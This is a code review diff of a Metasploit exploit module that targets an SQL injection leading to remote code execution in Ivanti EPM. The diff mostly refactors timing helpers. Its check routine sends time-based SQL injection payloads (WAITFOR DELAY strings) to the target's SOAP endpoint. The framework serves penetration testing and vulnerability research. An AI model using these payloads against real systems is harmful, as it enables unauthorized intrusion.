Code review

Author: cdelafuente-r7

modules/exploits/windows/http/ivanti_epm_recordgoodapp_sqli_rce.rb

@@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
   include Msf::Exploit::Remote::HttpClient
-  include Msf::Exploit::FileDropper
   prepend Msf::Exploit::Remote::AutoCheck
 
   class IvantiEpmRequestError < StandardError; end
@@ -92,20 +91,13 @@ def soap_request(sqli, timeout = 20)
     res
   end
 
-  def elapsed_time(&block)
-    time1 = Process.clock_gettime(Process::CLOCK_MONOTONIC)
-    block.call
-    time2 = Process.clock_gettime(Process::CLOCK_MONOTONIC)
-    time2 - time1
-  end
-
   def check
     print_status("Checking if the target is vulnerable using time-based SQLi (delay=#{datastore['DELAY']})")
 
-    elapsed1 = elapsed_time { soap_request("';WAITFOR DELAY '0:0:0';select 1--") }
+    _res, elapsed1 = Rex::Stopwatch.elapsed_time { soap_request("';WAITFOR DELAY '0:0:0';select 1--") }
     vprint_status("Baseline query elapsed time: #{elapsed1}")
 
-    elapsed2 = elapsed_time { soap_request("';WAITFOR DELAY '0:0:#{datastore['DELAY']}';select 2--") }
+    _res, elapsed2 = Rex::Stopwatch.elapsed_time { soap_request("';WAITFOR DELAY '0:0:#{datastore['DELAY']}';select 2--") }
     vprint_status("Delayed query elapsed time: #{elapsed2}")
 
     if elapsed2.to_i > elapsed1.to_i && elapsed2 >= datastore['DELAY']